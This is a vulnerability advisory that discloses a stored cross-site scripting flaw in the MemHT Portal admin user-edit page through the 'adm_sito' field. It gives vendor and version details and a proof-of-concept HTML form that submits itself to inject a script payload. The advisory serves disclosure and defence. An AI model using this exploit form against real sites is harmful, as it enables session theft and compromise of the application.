XSS vulnerability in MemHT Portal

[advisory@xxxxxxxxxxx]

Vulnerability ID: HTB22664
Reference: 
http://www.htbridge.ch/advisory/xss_vulnerability_in_memht_portal_1.html
Product: MemHT Portal
Vendor: Miltenovik Manojlo ( http://www.memht.com/ ) 
Vulnerable Version: 4.0.1 and probably prior versions
Vendor Notification: 19 October 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing 
(http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/admin/pages/users/index.php" 
script to properly sanitize user-supplied input in "adm_sito" variable. 
Successful exploitation of this vulnerability could result in a compromise of 
the application, theft of cookie-based authentication credentials, disclosure 
or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is 
available:

<form action="http://host/admin.php?page=users&id=USER_ID&ok=true"; 
method="post" enctype="multipart/form-data" name="main">
<input type="hidden" name="adm_user" value="test">
<input type="hidden" name="adm_enabled" value="1">
<input type="hidden" name="adm_email" value="email@xxxxxxxxxxx">
<input type="hidden" name="adm_sito" value="1<img src=x onerror=alert(123)>">
<input type="hidden" name="adm_icq" value="">
<input type="hidden" name="adm_msn" value="">
<input type="hidden" name="adm_aol" value="">
<input type="hidden" name="adm_yahoo" value="">
<input type="hidden" name="adm_avatar" value="blank.png">
<input type="hidden" name="avatar" value="">
<input type="hidden" name="adm_gender" value="0">
<input type="hidden" name="adm_title_enabled" value="0">
<input type="hidden" name="adm_title_text" value="1">
<input type="hidden" name="feedurl" value="http://www.memht.com/rss-news.xml";>
<input type="hidden" name="adm_signature" value="">
<input type="hidden" name="adm_pass" value="">
<input type="hidden" name="adm_pass2" value="">
<input type="hidden" name="op" value="editUser">
<input type="hidden" name="Submit" value="Modify">
</form>
<script>
document.main.submit();
</script>